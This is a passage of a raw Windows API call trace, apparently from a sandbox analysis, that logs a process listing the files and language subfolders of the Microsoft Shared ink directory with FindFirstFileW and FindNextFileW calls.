ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0071.459] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0071.460] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0071.460] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0071.460] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0071.460] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0071.461] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0071.461] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0071.461] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0071.462] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0071.565] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0071.566] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0071.566] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0071.566] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0071.566] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0071.567] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0071.567] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0071.567] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0071.568] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0071.568] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0071.568] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0071.569] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0071.569] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0071.569] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0071.569] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0071.570] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0071.570] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0071.570] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0071.571] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0071.571] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0071.571] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0071.571] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0071.572] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0071.572] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0071.572] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0071.573] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0071.573] GetProcessHeap () returned 0x550000 [0071.573] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0071.578] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0071.580] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.581] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0071.581] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0071.581] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0071.581] GetProcessHeap () returned 0x550000 [0071.582] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0071.582] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0071.582] GetProcessHeap () returned 0x550000 [0071.582] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0071.582] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0071.583] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.583] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0071.583] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0071.583] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0071.584] GetProcessHeap () returned 0x550000 [0071.584] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0071.584] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0071.584] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, 